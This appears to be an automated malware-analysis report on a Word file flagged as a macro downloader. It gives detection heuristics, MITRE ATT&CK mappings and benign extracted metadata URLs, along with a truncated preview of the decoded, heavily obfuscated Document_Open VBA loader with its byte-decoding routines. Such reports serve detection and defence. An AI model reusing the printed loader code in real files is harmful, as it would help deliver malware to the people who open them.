MALICIOUS
122
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The critical ClamAV heuristic and high severity heuristic for OLE_VBA_DOCOPEN indicate the presence of malicious VBA macros. The VBA macro code, though partially truncated, suggests it is designed to execute further malicious actions, likely downloading a payload. The presence of the 'macros.bas' file further supports this. The document body content is unrelated to the malicious functionality.
Heuristics 4
-
ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13262 bytes |
SHA-256: 30f1dc0c0c7be32eed4afca7ac33a113a81a161c3cefb6c30476ee5aa6125a3f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function isothermal() Dim dashpot As Integer Dim disallow As Variant omission.dibs.Value = Day(#12/5/2013#) varday = monopolist = "bitewing" plumed = "bailiff" implicit = malodor wrongdoer = adar jatropha = muskrat havoc = readily contrariant = "rasher" Set potoroo = omission.dibs.SelectedItem sepsis = 3 + 13 Pmt 0, sepsis, 4779, 24520, 3 editing = potoroo.Name administrable = 2 - 40 + 7882 hawser = Right(editing, administrable) heck = amphicarpaea(hawser) neque = 39 + 57 Pmt 0, neque, 16206, 25895, 4 staghound = "confederated" mossa = "malmo" #If (98 - 1 + 303 + 121 - 63 + 242) > ((103 - 41 + 258) - (30 - 78 + 588) * 1) And ((78 - 104 + 54) - (33 - 67 + 62)) * 2 < (Win64) Then Dim inconceivableness As Integer Dim aforehand As LongPtr Dim faroese As LongPtr Dim aponeurosis As Integer Dim snarl As Variant Dim optimistic As LongPtr Dim bastardy As LongPtr Dim klystron As LongPtr injuria = 45 - 84 + 2103 #ElseIf (60 - 50 + 390 + 83 - 82 + 299) > ((42 - 94 + 372) - (51 - 82 + 571) * 1) And Not ((67 - 84 + 45) - (116 - 5 - 83)) * 2 < (Win64) Then Dim tense As Byte Dim faroese As Long Dim flatfoot As Byte Dim aforehand As Long Dim optimistic As Long ambiversive = 58 - 93 + 816 Dim bastardy As Long Dim klystron As Long injuria = ambiversive + 3459 #End If misjoining = 122 - 83 - 39 debtor = "barleycorn" coalescence = 94 - 71 + 4073 onethousandth = 32 + 37 Pmt 0, onethousandth, 22126, 10854, 8 stylization = "arbitration" acetal = embark baccarat = "guncotton" anise = 32 + 16 Pmt 0, anise, 18563, 18679, 5 mixed = heck grapnel = wimble christless = "heartwounding" aforehand = foliant(mixed) taxi = "claytonia" Dim arenarious As Byte Dim haplopappus As String optimistic = 79 - 34 - 45 faroese = aforehand + injuria bastardy = 35 - 127 + 201619 klystron = 127 - 115 + 3488 red = disagreement(bastardy, _ optimistic, faroese, _ optimistic, optimistic, _ optimistic, optimistic) abhenry = 27 + 32 Pmt 0, abhenry, 20508, 46043, 2 End Function Function amphicarpaea(iconoclast) As String Dim murder(6962) As Byte Dim bask(63) As Long Dim decamp() As Byte Dim connaturality As Long Dim acciaccatura(63) As Long Dim aristotelianism As Long Dim autoloader(63) As Long Dim clansman As String Dim gonorhynchidae As Long Dim vincible As Integer Dim nadolol As Long adscript = 34 - 92 + 122 Dim housewarming As Variant disappointed = 109 - 33 + 179 apodal = 6 - 122 + 179 Dim infested As Byte supercilious = 13 - 79 + 4098 ideographically = 8 - 50 + 262186 Dim myxomycetes As Integer melancholy = 53 - 46 + 16711673 bhutan = 58 - 68 + 65546 puritan = 70 - 127 + 313 pagophilus = 11 - 79 + 258116 saturday = 9 - 64 + 65335 timeserving = 104 - 88 + 16515056 cshrillness = 119 - 101 + 4078 Dim impedimenta As Long comparisons = 46 - 53 + 7850 Dim arabia() As Byte arabia = VBA.StrConv(iconoclast, 120 + 8) bumcombe = 51 + 50 Pmt 0, bumcombe, 23448, 19512, 6 tyranny = 7843 coldblooded = vbKeyShift - 12 For nadolol = 0 To tyranny If nadolol Mod 2 = 0 Then arabia(nadolol) = arabia(nadolol) - coldblooded Else arabia(nadolol) = arabia(nadolol) - (coldblooded - 1) End If Next nadolol mezzorilevo = 38 + 47 Pmt 0, mezzorilevo, 18888, 16250, 3 vincible = 0 rue = iliamna For aristotelianism = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6) autoloader(aristotelianism) = infuriation(aristotelianism, adscript, 70) bask(aristotelianism) = infuriation(aristotelianism, cshrillness, 70) acciaccatura(aristotelianism) = infuriation(aristotelianism, ideographically, 70) Next aristotelianism utrumque = 45 + 2 Pmt 0, utrumque, 38469, 21662, 3 decamp = arabia vitrine = 15 - 104 + 93 precariously = 16 + 17 Pmt 0, precariously, 29310, 22455, 6 diffusion = 46 - 20 - 23 conv ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.